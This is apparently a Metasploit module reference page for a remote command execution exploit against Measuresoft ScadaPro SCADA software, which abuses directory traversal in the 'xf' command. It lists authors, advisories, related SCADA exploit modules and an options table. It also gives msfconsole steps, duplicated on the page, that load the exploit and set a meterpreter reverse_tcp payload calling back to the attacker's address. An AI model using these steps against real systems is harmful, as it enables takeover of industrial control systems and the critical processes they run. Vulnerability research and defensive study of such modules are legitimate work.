Measuresoft ScadaPro <= 4.0.0 Remote Command Execution
This module allows remote attackers to execute arbitray commands on the affected system by abusing via Directory Traversal attack when using the 'xf' command (execute function). An attacker can execute system() from msvcrt.dll to upload a backdoor and gain remote code execution.
Exploit Rank
- Excellent
Exploit Authors
- Luigi Auriemma < >
- mr_me < steventhomasseeley [at] gmail.com >
- TecR0c < tecr0c [at] tecninja.net >
Vulnerability References
- OSVDB-75490
- BID-49613
- http://aluigi.altervista.org/adv/scadapro_1-adv.txt
- http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf
- http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaP...
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/scadapro_cmdexe
msf exploit(scadapro_cmdexe) > show payloads
msf exploit(scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(scadapro_cmdexe) > set LHOST [MY IP ADDRESS]
msf exploit(scadapro_cmdexe) > set RHOST [TARGET IP]
msf exploit(scadapro_cmdexe) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/scadapro_cmdexe
msf exploit(scadapro_cmdexe) > show payloads
msf exploit(scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(scadapro_cmdexe) > set LHOST [MY IP ADDRESS]
msf exploit(scadapro_cmdexe) > set RHOST [TARGET IP]
msf exploit(scadapro_cmdexe) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 11234) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| URIPATH | The URI to use. (default: /) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
